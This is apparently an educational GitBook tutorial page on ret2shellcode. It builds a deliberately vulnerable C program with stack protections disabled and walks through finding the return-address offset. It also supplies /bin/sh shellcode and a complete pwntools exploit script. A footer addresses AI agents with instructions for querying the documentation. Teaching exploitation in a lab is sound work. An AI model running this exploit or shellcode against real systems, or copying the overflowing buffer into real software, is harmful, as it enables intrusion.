> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/04.-stack-overflow/03.-ret2shellcode.md).

# ret2shellcode in Stack Overflow

## Concept

A stack-based buffer overflow occurs when a program writes more data into a stack buffer than it can hold. This allows an attacker to overwrite adjacent memory, including the saved return address.

In a typical function stack frame:

```
[ buffer (e.g., 64 bytes) ]
[ saved RBP (8 bytes) ]
[ return address (8 bytes) ]
```

If input exceeds 64 bytes, it overwrites:

* first the saved base pointer (RBP)
* then the return address (RIP)

If we control RIP, we control program execution.

***

## What ret2shellcode means

Instead of jumping to an existing function (like ret2win), we:

1. Inject shellcode into the stack buffer
2. Overwrite RIP with the address of that buffer
3. When the function returns, execution jumps to our shellcode

This only works if:

* stack is executable (NX disabled)
* we can control RIP
* we know or can guess the buffer address

***

## Lab Setup

### Vulnerable program

```c
#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[64];
    puts("Send your payload:");
    read(0, buf, 200);
}

int main() {
    vuln();
    return 0;
}
```

### Compile

```
gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie
```

This ensures:

* no canary
* executable stack
* fixed addresses

***

## Step 1: Finding the offset

We use a cyclic pattern to determine where RIP is overwritten.

```
python3 -c 'from pwn import *; print(cyclic(200))'
```

Run in GDB:

```
run < <(python3 -c 'from pwn import *; print(cyclic(200))')
```

After crash:

```
info registers
```

You observe something like:

```
rbp = 0x6161617261616171
```

Now compute:

```
python3 -c 'from pwn import *; print(cyclic_find(b"qaaaraaa"))'
```

Result:

```
64
```

This means:

* 64 bytes reach saved RBP
* next 8 bytes reach RIP

Final offset:

```
72
```

***

## Step 2: Finding buffer address

Run again:

```
gdb ./vuln
run
```

Enter small input like `AAAA`

Then:

```
info registers
```

You see:

```
rsp = 0x7fffffffdc18
```

This is where your input resides.

***

## Step 3: Shellcode

We use standard x86\_64 shellcode for spawning `/bin/sh`:

```python
shellcode = (
    b"\x48\x31\xf6"
    b"\x56"
    b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
    b"\x57"
    b"\x54"
    b"\x5f"
    b"\x6a\x3b"
    b"\x58"
    b"\x99"
    b"\x0f\x05"
)
```

This performs:

```
execve("/bin/sh", NULL, NULL)
```

***

## Step 4: Payload structure

```
[ NOP sled ]
[ shellcode ]
[ padding ]
[ return address → buffer ]
```

NOP sled ensures that even if the jump is not exact, execution slides into shellcode.

***

## Step 5: Working exploit script

```python
from pwn import *

context.binary = './vuln'
context.arch = 'amd64'

offset = 72

# adjust based on your GDB result
buffer_addr = 0x7fffffffdc18 + 40

shellcode = (
    b"\x48\x31\xf6"
    b"\x56"
    b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
    b"\x57"
    b"\x54"
    b"\x5f"
    b"\x6a\x3b"
    b"\x58"
    b"\x99"
    b"\x0f\x05"
)

payload  = b"\x90" * 120
payload += shellcode
payload += b"A" * (offset - len(payload))
payload += p64(buffer_addr)

p = process('./vuln')
p.sendline(payload)
p.interactive()
```

***

## Step 6: Execution flow

1. Input fills buffer
2. Overflow overwrites saved RBP
3. Overflow overwrites RIP
4. RIP points to stack buffer
5. CPU executes NOP sled
6. Execution reaches shellcode
7. `execve("/bin/sh")` is executed
8. Shell is spawned

***

## Step 7: Running other commands (beyond shell)

Once shell is spawned:

```
whoami
ls
cat flag.txt
```

If you want direct command execution instead of interactive shell, modify shellcode to run:

```
/bin/sh -c "command"
```

***

## Alternative shellcode (execute command directly)

Example: run `id`

```python
shellcode = asm('''
    xor rsi, rsi
    push rsi
    mov rbx, 0x68732f6e69622f
    push rbx
    mov rdi, rsp

    push rsi
    push rdi
    mov rsi, rsp

    mov al, 59
    syscall
''')
```

Or use pwntools:

```python
shellcode = asm(shellcraft.sh())
```

***

## How to identify ret2shellcode in real challenges

Look for:

1. Buffer overflow
2. No stack protection
3. NX disabled
4. Ability to control RIP
5. Writable + executable memory

Check with:

```
checksec binary
```

If NX is disabled, ret2shellcode is viable.

***

## Key takeaways

* Offset is derived from cyclic pattern
* RIP control is mandatory
* Stack address must be known or predictable
* NOP sled increases reliability
* Shellcode must be valid and executable


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/04.-stack-overflow/03.-ret2shellcode.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
